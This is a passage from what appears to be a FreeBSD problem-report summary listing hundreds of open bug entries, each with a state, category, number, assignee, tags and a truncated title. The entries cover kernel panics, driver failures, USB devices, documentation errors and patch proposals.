long delay to associate o kern/93885 [ata] ata(4) failure: SETFEATURES SET TRANSFER MODE se o usb/93872 usb [cam] [patch] SCSI quirk required for ELTA 8061 OL USB o bin/93857 [patch] new utility: kiconv_cs_preload(8): Utility for o www/93854 postmaster Cannot proceed to page after the first in mailing list o usb/93828 usb [ohci] [panic] ohci causes panic on boot (HP Pavillion o kern/93825 pf [pf] pf reply-to doesn't work o conf/93815 rc [patch] Adds in the ability to save ipfw rules to rc.d o i386/93809 i386 panic: could not copy LDT on RELENG_5_3 through RELENG o i386/93793 i386 [keyboard] Keyboard stops working after a shutdown -p a kern/93790 cperciva cpufreq missing frequencies f i386/93787 gavin [hang] freebsd 6.0 hangs on atkbd0 on Proliant 1850r s o docs/93785 obrien The man page for ftpchroot(5)/ftpusers(5) contradicts o bin/93776 [crypto] [patch] SHA256_Update / SHA512_Update fail to o kern/93771 [ar] [panic] atacontrol status ar1 causes panic o kern/93770 [drm] ati 9600 PRO radeon not recognized by the system f i386/93762 gavin [hang] [loader] Machine lockup at boot loader countdow o i386/93752 i386 Cannot activate the serial ports on boot probe. BIOS o o kern/93750 [ips] Boot hangs on ips0: resetting adapter, this may o kern/93705 standards [headers] [patch] ENODATA and EGREGIOUS (for glibc com o kern/93685 [pipe] select on pipe write fails from '0' end o docs/93683 chinsan [patch] some typos in klist(1) o misc/93661 [patch] loader(8): prevent *.4th files and friends fro o kern/93634 vwe [msdosfs] False access to renamed files/directories (c o gnu/93629 GNU sort(1) tool dumps core within non-regular locale f i386/93615 gavin [install] Operating system wont install. Problem with o gnu/93566 [patch] sort(1): numeric sort is broken on multi-byte a ports/93560 roam [patch] dns/djbdns-ipv6: Update IPv6 patches o sparc/93530 pf [pf] Incorrect checksums when using pf's route-to on s o bin/93473 des [patch] Let pam_unix(8) use "passwordtime" from login. o kern/93461 [smp] [regression] Intel 440LX SMP freeze (regression o usb/93408 usb [mouse] hw.acpi.cpu.cx_lowest=C3 on AMD Turion causes o kern/93396 dlopen crash with locked page o usb/93389 usb [umass] [patch] Digital Camera Pentax S60 don't work o kern/93381 reboot(8) works but 'reboot -n' hangs f kern/93378 net [tcp] Slow data transfer in Postfix and Cyrus IMAP (wo o misc/93341 phk [nanobsd] [patch] make more flexibitily for NanoBSD cu o kern/93331 [kernel] [patch] broken asm in kernel o bin/93317 ld-elf.so doesn't translate unresolved weak symbol int o bin/93310 des [libpam] [patch] pam_unix ignores 'passwordtime' from o bin/93309 [rpc.quotad] [patch] rpc.rquotad: group quota support o kern/93305 Machine freezes solid running dhcpclient after suspend o kern/93300 ipfw [ipfw] ipfw pipe lost packets o ports/93279 skv devel/cvsmonitor: not useable (/dev/mem: Permission de o bin/93275 sysinstall(8): Failure to install after restarting ins o power/93203 ppc FreeBSD PPC Can't Write to Partitions. o kern/93197 [libc] strptime(3) succeeds on formats it should fail o usb/93155 usb [ulpt] /dev/ulpt0: device busy, USB printer does not w o kern/93128 scottl [sym] FreeBSD 6.1 BETA 1 has problems with Symbios/LSI o gnu/93127 [patch] add __FreeBSD_kernel__ to pre-defines o kern/93093 [libc] xdr_string might call strlen(3) on NULL o kern/93019 net [ppp] ppp and tunX problems: no traffic after restarti o kern/92949 pf [pf] PF + ALTQ problems with latency o kern/92880 net [libc] [patch] almost rewritten inet_network(3) functi o bin/92866 krion pkg_add(1) should return a different result code if pa o usb/92852 usb [ums] [patch] Vertical scroll not working properly on o kern/92798 scsi [ahc] SCSI problem with timeouts o kern/92795 [panic] lockmgr panic during sys_exit file cleanup o kern/92786 [ata] [patch] ATA fixes, write support for LSI v3 RAID o kern/92751 [reboot] camcontrol(8): 5.4 crashes after camcontrol d o kern/92716 [hifn] [hang] hifn driver hangs after a short while wh o kern/92690 silby [tcp] slowstart_flightsize ignored in 6-STABLE o kern/92675 yongari [fxp] [patch] fxp(4) unable to recover from occasional o ports/92651 stas graphics/gmt - WITH_EVERYTHING doesn't fetch o docs/92626 doc jail manpage should mention disabling some periodic sc f kern/92552 net A serious bug in most network drivers from 5.X to 6.X o conf/92523 rc [patch] allow rc scripts to kill process after a timeo o kern/92518 [hptmv] Intense disk activity (large FS newfs and/or m o kern/92512 multimedia [sound] distorted mono output with emu10k1 o kern/92440 mbr Kernel fault in knote when getty opens a serial port s ports/92434 portmgr [patch] Mk/bsd.port.mk automatic show pkg-message o kern/92412 [libexec] [patch] rpc.rstatd reports bogus packets/per o stand/92362 standards [headers] [patch] Missing SIGPOLL in kernel headers o amd64/92337 amd64 [em] FreeBSD 6.0 Release Intel Pro 1000 MT em1 no buff s kern/92279 net [dc] Core faults everytime I reboot, possible NIC issu o kern/92272 fs [ffs] [hang] Filling a filesystem while creating a sna o kern/92270 glebius [ppp]: ppp does not work on renamed network interfaces o kern/92238 [ata] [patch] Spurious "atapci1: failed to enable memo o i386/92193 i386 [boot] Can't boot from 6.0 Installation CD: BTX halted o usb/92171 usb [panic] panic unplugging Vodafone Mobile Connect (UMTS o kern/92164 scottl [ips] [lor] SCSI target mode LOR o usb/92142 usb [uhub] SET_ADDR_FAILED and SHORT_XFER errors from usb o kern/92104 des [panic] kernel panic near readlink syscall o kern/92092 [iicbus] [patch] Panic if device with iicbus child is o kern/92090 net [bge] bge0: watchdog timeout -- resetting o usb/92083 usb [ural] [panic] panic using WPA on ural NIC in 6.0-RELE o bin/92062 phk mdconfig(8): mdconfig -l shows 95 entries max. o usb/92052 usb [ulpt] usbd causes defunct process with busy file-hand o kern/92023 [kernel] 'options DEVICE_POLLING' makes loadavg wrong o bin/91993 sam dhclient(8) option missing, script incompability o kern/91954 [libpam] [patch] Proposed enhancement for pam_krb5: "o o kern/91910 scottl [aac] [regression] aac driver hangs on Dell PE800 with o kern/91908 darrenr [ipnat] loading ipl.ko to the kernel compiled with opt o usb/91906 usb [ehci] [hang] FreeBSD hangs while booting with USB leg o usb/91896 usb camcontrol(8): Serial Number of USB Memory Sticks is n o i386/91871 i386 [boot1] [patch] boot1: jump to 0xf000:0xfff0 instead o o kern/91859 net [ndis] if_ndis does not work with Asus WL-138 o kern/91847 ipfw [ipfw] ipfw with vlanX as the device o ports/91838 danfe graphics/svgalib: tty switching is broken o usb/91811 usb [umass] Compact Flash in HP Photosmart 2610 return " s kern/91777 net [ipf] [patch] wrong behaviour with skip rule inside an s i386/91748 acpi acpi problem on Acer TravelMare 4652LMi (nvidia panic, o i386/91745 i386 [smp] Second processor not detected on Proliant ML530 o conf/91732 [patch] 800.loginfail: fix log message grep expression o kern/91719 [pxeboot] BZ2_bzDecompress returned -3 error on loadin o usb/91629 usb [usb] usbd_abort_pipe() may result in infinite loop o bin/91606 sha1(1): sha1 /dev is suspended o kern/91594 net [em] FreeBSD > 5.4 w/ACPI fails to detect Intel Pro/10 o kern/91572 [atapicam] [panic] writing to UFS/softupdates DVD medi f kern/91568 fs [ufs] [panic] writing to UFS/softupdates DVD media in o usb/91546 usb [umodem] [patch] Nokia 6630 mobile phone does not work o www/91539 www FreeBSD web site renders very badly o usb/91538 usb [ulpt] [patch] Unable to print to EPSON CX3500 o bin/91536 burncd(8): burncd -t feature strangeness o docs/91506 doc ndis(4) man page should be more specific about support f kern/91476 gavin [fdc] [patch] floppy drive doesn't work in MS Virtual o kern/91414 emaste [kernel] [patch] Polling for devices other than NICs o kern/91407 [crypto] [panic] Kernel panic when heavily loading cry o amd64/91405 amd64 [asr] [panic] Kernel panic caused by asr on 6.0-amd64 o bin/91393 window(1) changes console cursor shape to blink o kern/91364 net [ral] [wep] WF-511 RT2500 Card PCI and WEP o kern/91347 rodrigc [pci] [patch] Add another PCI-e chipset for extended c o conf/91342 [devfs] Errors in devfs.rules files don't get logged o kern/91339 [psm] mousedriver do not recognize aditional buttons o o kern/91311 net [aue] aue interface hanging o bin/91299 yar [patch] add ftpd(8) SITE SHA256 command p kern/91293 delphij [svr4] [patch] *Experimental* Update to the SVR4 emula s kern/91290 [ata] ata(4) error on 7.0-CURRENT-20051229-SNAP-PC98 o usb/91283 usb [boot] [regression] booting very slow with usb devices o usb/91238 usb [umass] USB tape unit fails to write a second tape fil o docs/91174 doc [REQUEST] Handbook: Addition of Oracle 9i installation o docs/91149 doc read(2) can return EINVAL for unaligned access to bloc o kern/91134 fs [smbfs] [patch] Preserve access and modification time f conf/91106 i18n [locale] date definitions in pl_PL locale are wrong o bin/91101 edwin [patch] whereis(1): make more readable s kern/91038 acpi [panic] [ata] [acpi] 6.0-RELEASE on Fujitsu Siemens Am o bin/91034 [patch] minor fix to iostat(8) so that columns line up o kern/91023 [sysctl] cpufreq/p4tcc: sysctl: dev.cpu.0.freq: Device o kern/90973 thompsa [net] [patch] if_bridge does not handle arp for own ad o kern/90890 net [vr] Problems with network: vr0: tx shutdown timeout f conf/90863 dougb [patch] 6.0 boot: name resolution broken for daemon st o kern/90837 [sound] PCM - ICH6 - device is busy, but old process d a kern/90815 fs [smbfs] [patch] SMBFS with character conversions somet o usb/90700 usb [umass] [panic] Kernel panic on connect/mount/use umas o bin/90690 ps(1) errorneously respects terminal column settings w o bin/90687 avg [patch] side effect of -delete option of find(1) o bin/90680 [patch] make(1) thinks "^.for.o:" is a directive (".fo o bin/90656 sysinstall(8): 6.0-RELEASE (i386) cannot be installed o kern/90582 geom [geom] [panic] Restore cause panic string (ffs_blkfree o kern/90580 [libc] wordexp(3) fails to check for EINTR o bin/90524 reset(1) doesn't fully restore terminal state o kern/90442 [panic] kmem_alloc fails kmem_map: too small, on a RAI o ports/90436 portmgr [patch] Add a way to handle configuration files to bsd o bin/90384 [patch] chroot patch for sftp-server(8) o kern/90368 [pxeboot] pxeboot misses ${class} parameter when booti s bin/90367 [request] libmap.conf needs exclusivity support o bin/90311 [patch] add "eject" to mt(1) o kern/90282 scsi [sym] SCSI bus resets cause loss of ch device o bin/90266 philip bsnmpd(1) returns bad data during a snmpwalk of the en s kern/90243 acpi Laptop fan doesn't turn off (ACPI enabled) (Packard Be o kern/90237 [drm] [panic] panic in sis DRM o kern/90206 [ata] [reboot] Server reboot after "FAILURE - out of m a conf/90163 dougb [patch] Easily launch non-forking daemons like logsurf o bin/90130 [patch] sysctl(8): print temperature in celsius only w o bin/90114 [patch] pw(8) takes strings after option -g for GID 0 o bin/90093 geom fdisk(8) incapable of altering in-core geometry s kern/90086 net [hang] 5.4p8 on supermicro P8SCT hangs during boot if s bin/90082 matteo [syscons] [patch] curses ACS line graphics support for o kern/89991 fs [ufs] softupdates with mount -ur causes fs UNREFS f kern/89989 bz [jail] [patch] Add option -I (ASCII 73) PID to specif o bin/89988 [patch] bootparamd(8) null host support and whoami fix p kern/89966 rodrigc [ntfs] [panic] mounting ntfs causes kernel panic in so o bin/89959 brooks dhclient(8): dhcp: ip length 314 disagrees with bytes o usb/89954 usb [umass] [panic] USB Disk driver race condition? o conf/89870 rc [patch] [request] make netif verbose rc.conf toggle o kern/89837 [pci] PCI code outputs superfluous "failed to enable/d o bin/89799 [patch] Making natd(8) not require a newline at the en o kern/89775 [kqueue] [hang] kevent hangs on second wait for /dev/d o bin/89770 des [patch] pam_krb5 'authentication token failure' in pas o bin/89762 edwin [patch] top(1) startup is very slow on system with man f kern/89752 dwmalone [bpf] [patch] bpf_validate() needs to do more checks f kern/89738 [ndis] [hang] Can't make WL8000PCM wifi card work with a kern/89660 geom [vinum] [patch] [panic] due to g_malloc returning null a conf/89589 secteam virecover follows hardlinks, possibly exposing sensiti o kern/89553 [bktr] [patch] going from 5.3 -> 6.0 winTV card not pr o kern/89546 geom [geom] GEOM error o kern/89522 6.0-RELEASE will not boot on some Compaqs with mouse c o amd64/89501 amd64 [install] System crashes on install using ftp on local o docs/89492 attilio vfs doc: some VOP_*(9) manual pages are outdated with o ports/89441 hrs TeX support in FreeBSD is problematic. f kern/89411 acpi [acpi] acpiconf bug o bin/89410 [patch] sh(1) missing \u interpolation and bug/fix in o bin/89403 fetch(1) doesn't honour authentication credentials whe o kern/89396 [reboot] remounting cdrom causes reboot o bin/89326 [patch] Add pattern matching to login.access(5) p docs/89325 trhodes [patch] Clarification of kbdmap(5), atkbd(4) and kbdco s kern/89305 vwe [vr] [patch] D-Link NIC with VIA Rhine II, lost of Net s kern/89271 [radeon] [agp] [hang] X.org hangs when heavily using R o kern/89258 [mouse] synaptic touchpad support "worse" with hw.psm. o i386/89249 [ataraid] HighPoint RocketRAID 1520 (HPT372N) can't wr o kern/89179 Random reboots on Dell PowerEdge 6300 o kern/89166 [mouse] jumpy mouse movement f kern/89102 trasz [geom] [panic] panic when forced unmount FS from unplu o kern/89070 [panic] NULL m passed to m_copym() in ip_fragment() o conf/89061 rc [patch] IPv6 6to4 auto-configuration enhancement s usb/89003 usb [request] LaCie Firewire drive not properly supported o kern/88962 [panic] Kernel panic with ACPI is enabled f i386/88929 i386 [ata] FreeBSD 6.0 install CD fails to find disks on So o kern/88914 [hang] system freeze during file transfer o conf/88913 rc [patch] wrapper support for rc.subr o bin/88826 randi sysinstall(8): sysinstall infinity wait for da0 o bin/88821 pjd [patch] IPv6 support for ggated(8) o amd64/88790 amd64 [panic] kernel panic on first boot (after the FreeBSD o bin/88780 [patch] Baseline ipmon(8) uses LOG_LOCAL0 syslog, not s i386/88755 i386 [install] FreeBSD R6.0 on ThinkPad R40 installation re o usb/88743 usb [hang] [regression] USB makes kernel hang at boot (reg o misc/88680 [build] !compiling freebsd components o kern/88659 ipfw [modules] ipfw and ip6fw do not work properly as modul o kern/88657 fs [smbfs] windows client hang when browsing a samba shar o bin/88655 [patch] tcsh(1): /bin/tcsh ls-F : Floating exception ( f bin/88619 brian [ppp] ppp chat auth fails ( pppoe ) o kern/88601 geom [geli] geli cause kernel panic under heavy disk usage o bin/88599 ifconfig(8): change in default behavior with ifconfig o amd64/88568 amd64 [panic] 6.0-RELEASE install cd does not boot with usb o kern/88555 [panic] ffs_blkfree: freeing free frag on AMD 64 a bin/88538 [patch] tcsh(1) ls-F spacing incorrect. o bin/88524 openssl(1) can not work with smtp.gmail.com o kern/88518 rodrigc cannot mount root rw at boot o docs/88512 doc [patch] mount_ext2fs(8) man page has no details on lar s i386/88491 i386 [install] Panic when boot installation CD1 (Acer Trave o kern/88487 [panic] softdep_setup_inomapdep: found inode o kern/88450 andre SYN+ACK reports strange size of window o usb/88408 usb [axe] axe0 read PHY failed o kern/88336 vanhu [ipsec] [patch] setkey(8) -D fails to report all SAs o kern/88320 [nis] ypxfr(8) talks IPv6 to IPv4-only portmap -> ypin o kern/88266 fs [smbfs] smbfs does not implement UIO_NOCOPY and sendfi o bin/88215 [patch] syslogd(8) does not pass cleanly parameters to o kern/88182 [ural] [wep] wep is broken in ural(4) hostap mode o kern/88150 des [pam] PAM does not search /usr/local/lib for modules s i386/88139 i386 [i386] [request] 53C875 Chipset HP 5064-6016 doesn't w o gnu/88087 c++filt(1) dumps core on a trivial string "STYLEPROP_" f kern/88082 net [ath] [panic] cts protection for ath0 causes panic o bin/88056 [patch] [request] cp(1) could really use Linux's -x op o kern/88047 [asr] [panic] 6.0-RC1 reboots with SMP and asr o kern/88045 jhb [nve] [patch] 6.0rc1: nve0: device timeout (51) o kern/88020 cannot boot unless: hint.apic.0.disabled="1" is set on o kern/87990 [kernel] [patch] SMP Race Condition in kdb_enter/kdb_e o bin/87966 [patch] newfs(8): introduce -A flag for newfs to enabl o docs/87936 doc Handbook chapter on NIS/YP lacks good information on a o conf/87925 [patch] [request] modify output of 405.status_ata_raid o kern/87859 fs [smbfs] System reboot while umount smbfs. o docs/87857 doc ifconfig(8) wireless options order matters p bin/87841 murray fetch(1) should have options to set http "if-modified- o kern/87836 [devfs] If using ATAPICAM with cd(dvd)rw without media o bin/87792 [patch] very bad performance of cp(1) via NFS, possibl o kern/87782 multimedia [sound] snd_t4dwave and pcm0:record:0: record interrup o kern/87729 phk [libc] [patch] most calls to malloc(3) generate warnin o bin/87726 dfr gssapi.h is not c++ aware o amd64/87689 amd64 [powerd] [hang] powerd hangs SMP Opteron 244 5-STABLE s kern/87653 [drm] ATI Radeon Mobile X600SE not detected by kernel o bin/87651 [patch] fsck(8) (on superblock error) tells wrong man o usb/87648 usb [mouse] Logitech USB-optical mouse problem. o kern/87586 [diskless] [vm] [panic] Unable to use networked swap i o kern/87544 geom [gbde] mmaping large files on a gbde filesystem deadlo s bin/87529 [request] pw(8): "pw lock", "pw unlock" should support o kern/87521 net [ipf] [panic] using ipfilter "auth" keyword leads to k o kern/87515 Splash screen fails to load on boot o kern/87506 net [vr] [patch] Fix alias support on vr interfaces o kern/87421 [netgraph] [panic]: ng_ether + ng_eiface + if_bridge s ports/87420 portmgr [patch] bsd.port.mk: implementing WITH_OPENLDAP_VER to o ports/87397 edwin incorrect use of PAPERSIZE make variable in some ports f kern/87368 bde [msdosfs] fat32 is very slow o amd64/87316 amd64 [vge] "vge0 attach returned 6" on FreeBSD 6.0-RC1 amd6 o amd64/87305 amd64 [smp] Dual Opteron / FreeBSD 5 & 6 / powerd results in o usb/87224 usb [usb] Cannot mount USB Zip750 p conf/87196 matteo human readable disk free in daily output run o www/87119 hrs [patch] encode copyright and such symbolically s kern/87094 5.4 system with SMP and IPFW crashes under load (mbuf o kern/87074 mlaier pf does not log dropped packets when max-* stateful tr o kern/87032 ipfw [ipfw] [patch] ipfw ioctl interface implementation o bin/87022 telnet(1) hang in ptcout o kern/87010 pjd Reading kernel memory & pagefault under non-root o kern/86957 ipfw [ipfw] [patch] ipfw mac logging o kern/86944 [nfs] [patch] When I use FreeBSD with NFS client, clos s kern/86920 net [ndis] ifconfig: SIOCS80211: Invalid argument [regress o i386/86880 i386 [hang] 6.0 hangs or reboots whilst 5.4 is stable (ASUS o kern/86871 allocation logic for PCBs in TIME_WAIT state causes pa o bin/86859 kensmith sysinstall(8): Installer should ask about Linux earlie o usb/86767 usb [umass] [patch] bogus "slice starts beyond end of the o bin/86765 bsdlabel(8) assigning wrong fs type. o kern/86763 [ucom] kernel: ucom0: ucomwritecb: IOERROR a kern/86752 mlaier pf does not use default timeouts when reloading config o bin/86665 randi sysinstall(8): sysinstall binary upgrade clobbers name o bin/86635 pf [patch] pfctl(8): allow new page character (^L) in pf. o kern/86619 [linux] linux emulator interacts oddly with cp o bin/86600 matteo sysinstall(8): Sysinstall boot manager screen is misle o kern/86587 fs [msdosfs] rm -r /PATH fails with lots of small files o bin/86485 [patch] hexdump(1): hexdump -s speedup on /dev a stand/86484 standards [patch] mkfifo(1) uses wrong permissions o bin/86454 sysinstall(8): sysinstall terminates with signal 10 if p kern/86437 andre tcp_input.c and tcp_sack.c refer to obsolete ICPM_BAND o kern/86427 gnn [lor] Deadlock with FASTIPSEC and nat o kern/86411 scottl [amr] Very low performance of amr(4) under FreeBSD-6.0 o bin/86405 more(1) segmentation fault s ports/86401 stas new ports multimedia/zapping o bin/86388 [patch] periodic(8) daily should backup bsdlabel(8) / o docs/86342 doc bikeshed entry of Handbook is wrong s kern/86319 [nfs] [request] support a "noac" NFS mount flag to tur o usb/86298 usb [mouse] Known good USB mouse won't work with correct s o kern/86290 jeff [kernel] [patch] minor optimizations + cleanup to vrel f kern/86261 brian 'out of buffer space' after many PPPoE re-dial attempt o ia64/86218 ia64 Mozilla / Firefox: regxpcom or regchrome broken on ia6 o kern/86103 net [ipf] Illegal NAT Traversal in IPFilter o kern/86055 FreeBSD 6.0 beta4 install panic:bio already on queue o bin/86012 kpasswd(1) fails if one of the KDC are unreachable. o kern/86003 Startup reports "failed to attach P_CNT" s kern/85975 [cam] devfs does not create entries when removable med o kern/85971 jeff [uma] [patch] minor optimization to uma o kern/85931 panic: "vm_fault: fault on nofault entry" when using m o gnu/85895 [patch] cc -print-search-dirs returns (null) o kern/85894 [nfs] [panic] nfs_timer / nfs_socket.c:1146 panic o kern/85886 [an] [patch] an0: timeouts with Cisco 350 minipci o gnu/85824 obrien gas crashes when assembling this file o conf/85819 rc [patch] script allowing multiuser mode in spite of fsc o kern/85816 maxproc=1 in login.conf causes kernel panic when loggi o kern/85813 timeout waiting for read DRQTrying to mount root from o kern/85809 darrenr panic: mutex "ipf state entry" already initialized o kern/85780 net 'panic: bogus refcnt 0' in routing/ipv6 o kern/85768 gibbs [ahd] aic79xx driver timeouts with U160 target (free l o kern/85751 [devfs] [panic] panic in devfs_setattr() when running o bin/85712 uncompress(1) program emits bogus "overwrite?" prompt o ports/85707 nork port www/linuxpluginwrapper makes mozilla coredump s kern/85658 jeff [sched_ule] [patch] add DDB command, show runq, to sch o kern/85657 [kernel] [patch] capture and expose per-CPU time accou o i386/85656 i386 [i386] [patch] expose more i386 specific CPU informati o i386/85655 i386 [i386] [patch] expose cpu info for i386 systems o i386/85653 i386 [i386] [patch] relieve hangs in tight loops in process o i386/85652 i386 [loader] [patch] deal with out-of-memory errors during o kern/85651 [kernel] [patch] debugging code to show entries in eve o kern/85650 [libstand] [patch] modifications to tftp-based PXE boo s ports/85513 Intel C++ compiler not 100% binary compatible with sys o bin/85494 fsck_ffs: unchecked use of cg_inosused macro etc. o kern/85493 imp [ed] [patch] OLDCARD can't probe ed driver o kern/85464 Cannot unmount file-backed disk imported from NFS or S o kern/85450 [ata] [panic] subdisk6 detached (appears to be a sata o bin/85445 net ifconfig(8): deprecated keyword to ifconfig inoperativ s kern/85444 vwe [stf] IPv6 crash, possibly related to destroying stf i o i386/85423 i386 [ex] ex(4) does not correctly recognize NIC in PnP mod o i386/85417 i386 [i386] [npx] [patch] Possible bug in ia32 floating-poi o alpha/85346 alpha PREEMPTION causes unstability in Alpha4000 SMP kernel o kern/85326 fs [smbfs] [panic] saving a file via samba to an overquot p kern/85320 gonzo [gre] [patch] possible depletion of kernel stack in ip s amd64/85273 amd64 [install] FreeBSD (NetBSD or OpenBSD) not install on l o kern/85266 net [xe] [patch] xe(4) driver does not recognise Xircom XE o kern/85258 mux [fxp] changing promisc mode on nic can lead to kernel o kern/85257 [boot] BTX boot loader fails on USB CDROM (HP DL145 Op o kern/85137 des [pseudofs] [patch] panic due to sleep with held mutex o docs/85128 doc [patch] loader.conf(5) autoboot_delay incompletly desc o kern/85123 [iir] Improper serialization in iir_ioctl() allows iir o bin/85115 byacc generates uncompileable file p stand/85099 remko POSIX violation in split(1) o kern/85086 wkoszek [ef] [patch] Locking fixes for ef(4) (+removes mem. le s i386/85072 i386 [psm] ps/2 Mouse detection failure on compaq chipset s usb/85067 usb [uscanner] Cannot attach ScanJet 4300C to usb device o bin/85011 restore(8) on 5.4 will not read Solaris-sparc dumps, w o kern/84981 [headers] [patch] header protection for with aroun p kern/78179 alc [vm] [patch] bus_dmamem_alloc() with BUS_DMA_NOWAIT ca o bin/78170 [patch] Fix signal handler in bootpd(8) o bin/78131 geom gbde(8) "destroy" not working. o kern/78114 phk [geom] [patch] Solaris/x86 label structures for GEOM ( o kern/78090 net [ipf] ipf filtering on bridged packets doesn't work if o bin/78087 groups(1) program inconsistency o kern/78021 sem_open(3) doesn't mention fnctl.h include requiremen p kern/77913 net [wi] [patch] Add the APDL-325 WLAN pccard to wi(4) o kern/77902 [nfs] NFS client should use VA_UTIMES_NULL to determin o kern/77826 fs [ext2fs] ext2fs usb filesystem will not mount RW o conf/77663 rc Suggestion: add /etc/rc.d/addnetswap after addcritremo o kern/77662 diskless hostname set via DHCP only if ACPI off o bin/77651 init(8) can loose shutdown related signals o kern/77493 [pipe] freebsd 5.3 + bash process substitution fails d o bin/77445 ntpd(8): too many recvbufs(40) when ntpd started with o kern/77355 [i386] [patch] Detect i*86 subarches for uname o kern/77341 net [ip6] problems with IPV6 implementation o usb/77294 usb [ucom] [panic] ucom + ulpcom panic o kern/77273 net [ipf] ipfilter breaks ipv6 statefull filtering on 5.3 o bin/77261 login(1) doesn't chdir into a group-protected home dir s kern/77195 net [ipf] [patch] ipfilter ioctl SIOCGNATL does not match o usb/77184 usb [umass] [panic] kernel panic on USB device disconnect, o kern/77181 mckusick [newfs] [patch] newfs -g largevalue, mkdir, panic o kern/77156 FreeBSD does not redirect packets on proper interface. o kern/77091 [keyboard] Keyboard quits working under X with MAXCONS o bin/77089 natd(8) ignores -u with passive FTP s bin/77082 krion pkg_install(1) - Add 3 new macros to clean pkg-plist o bin/77031 [patch] comm(1) unable to handle lines greater than LI o bin/77001 randi sysinstall(8): sysinstall binary upgrade clobbers /etc o kern/76972 64-bit integer overflow computing user cpu time in cal o kern/76950 acpi ACPI wrongly blacklisted on Micron ClientPro 766Xi sys o i386/76944 i386 [busdma] [patch] i386 bus_dmamap_create() bug o kern/76893 [cam] [patch] Fatal divide in booting processes with B o kern/76848 [amr] amr hangs o bin/76756 des function pw_equal in pw_util.c does not test pw_passwd o bin/76736 dwmalone syslogd(8) pipelines losing messages o usb/76732 usb [ums] Mouse problems with USB KVM Switch o bin/76711 [patch] rm(1): parse error in rm.c:check() while parsi o bin/76697 edwin newsyslog(8) keeps one more archive files than documen s threa/76694 threads fork cause hang in dup()/close() function in child (-l s threa/76690 threads fork hang in child for -lc_r o kern/76678 dfr [libpam] [patch] Allow pam_krb5 to authenticate no loc f kern/76663 gnn panic with FAST_IPSEC and IPv6 o usb/76653 usb [umass] [patch] Problem with Asahi Optical usb device o conf/76626 [patch] 460.status-mail-rejects shows destination doma o bin/76590 adding -mapall in nfs exports requires reboot o bin/76588 openssl(1) fails on loading keyfiles from BIO resource o kern/76539 [dummynet] [patch] ipnat + dummynet on output on same o kern/76525 [fifo] select() hangs on EOF from named pipe (FIFO) s kern/76520 [libiconv] [patch] Add new kernel-side libiconv conver o kern/76504 silby Keep-alives doesn't work on half-closed sockets. s conf/76491 Addition into /etc/security few new functions o kern/76485 [libc] sched_getparam(2) returns weird priority number o usb/76461 usb [umass] disklabel of umass(4)-CAM(4)-da(4) not used by o kern/76398 [libc] stdio can lose data in the presence of signals o usb/76395 usb [uhci] USB printer does not work, usbdevs says "addr 0 o bin/76362 [patch] sys directory link points to wrong location p docs/76333 trhodes [patch] ferror(3): EOF indicator can be cleared by not o conf/76226 Default local.9600 gettytab initially uses parity o kern/76178 scsi [ahd] Problem with ahd and large SCSI Raid system o gnu/76169 [patch] Add PAM support to cvs pserver o kern/76144 [fifo] poll doesn't set POLLHUP when FIFO is closed o amd64/76136 amd64 [hang] system halts before reboot o bin/76134 fetch(1) doesn't like 401 errors with -A o kern/76126 [nfs] [patch] 4.11 client will send a NFS request to r o kern/75934 [libcrypt] [patch] missing blowfish functionality in p s usb/75928 usb [umass] [request] Cytronix SmartMedia card (SMC) reade o i386/75887 i386 [pcvt] with vt0.disabled=0 and PCVT in kernel video/ke o kern/75873 net Usability problem with non-RFC-compliant IP spoof prot o kern/75855 adrian [libc] getpwent(3) functions on 5.3 with large passwor o usb/75800 usb [ucom] ucom1: init failed STALLED error in time of syn o usb/75797 usb [sound] 5.3-STABLE(2005 1/4) detect USB headset, But c s bin/75767 [libc] [request] "fdclose" function in libc o usb/75764 usb [umass] [patch] "umass0: Phase Error" - no device for o docs/75711 keramida [patch] opendir(3) missing ERRORS section o kern/75710 [cue] cue0 device configuration causes kernel panic o usb/75705 usb [umass] [panic] da0 attach / Optio S4 (with backtrace) s kern/75407 net [an] an(4): no carrier after short time o bin/75378 login(1): login/wtmp/utmp not updating properly o threa/75374 threads pthread_kill() ignores SA_SIGINFO flag o bin/75362 mount_smbfs(8) No buffer space available o threa/75273 threads FBSD 5.3 libpthread (KSE) bug o bin/75258 [patch] dd(1) has not async signal safe interrupt hand o kern/75249 [boot] 5.x install CD hangs on VirtualPC Version 7 (Ma s kern/75233 [fdc] breaking fdformat /dev/fd0 resets device permiss o bin/75177 philip Bug selecting psm operation level in moused(8) o kern/75157 Cannot print to /dev/lpt0 with HP Laserjet 1005 : Devi o conf/75137 jhb add snd_* modules support to /etc/rc.d/mixer o kern/75132 jhb [puc] [patch] add support for the Davicom 56PDV PCI Mo o kern/75122 silby [netinet] [patch] Incorrect inflight bandwidth calcula o kern/75121 Wrong behaviour of IFF_LINK2 bit in 6in6 gifs? s kern/74986 jfv [patch] sysctlize a parameter of if_em's interrupt mod o kern/74827 [fdc] Problem writing data to floppies a kern/74809 [modules] [panic] smbfs panic if multiply mounted o bin/74801 cpio(1) -p --sparse creates truncated files o kern/74786 [irq] [patch] Smartlink Modem causes interrupt storm o o bin/74779 Background-fsck checks one filesystem twice and omits o usb/74771 usb [umass] [hang] mounting write-protected umass device a o amd64/74747 amd64 [panic] System panic on shutdown when process will not s kern/74708 [umapfs] [panic] UMAPFS kernel panic o gnu/74654 libsupc++.a lacks necessary functions o kern/74627 scsi [ahc] [hang] Adaptec 2940U2W Can't boot 5.3 o conf/74610 Hostname resolution failure causes firewall rules to s o gnu/74531 gcc doesn't link correctly if -pg specified s usb/74453 usb [umass] [patch] Q-lity CD-RW USB ECW-043 (ScanLogic SL o kern/74450 [libalias] [patch] enable libalias/natd to create skip a bin/74387 mount(8) linprocfs can be mounted on top of itself man o bin/74360 [patch] ndiscvt(8) generates a driver which doesn't ma s kern/74352 NFSCLIENT and booting to an mfsroot via TFTP are mutua f kern/74314 bz [resolver] [jail] DNS resolver broken under certain ja o kern/74281 [digi] digi(4): Digiboard PCI Xem (64-ports) detection s kern/74242 rwatson Write to fifo with no reader fails in 6.0 current o kern/74238 firewire [firewire] fw_rcv: unknown response; firewire ad-hoc w o conf/74213 darrenr [patch] Connect src/etc/periodic/security/610.ipf6deni o usb/74211 usb [umass] USB flash drive causes CAM status 0x4 on 4.10R o bin/74178 [patch] grdc(6) - scrolling does not work and "AM"/"PM o i386/74153 i386 [pst] FreeBSD 5.3 cannot boot ftom pst o bin/74127 [patch] patch(1) may misapply hunks with too little co o kern/74104 ipfw [ipfw] ipfw2/1 conflict not detected or reported, manp o i386/74044 gavin [smb] ServerWorks OSB4 SMBus interface does not detect o i386/74008 i386 [boot] IBM eServer x225 cannot boot any 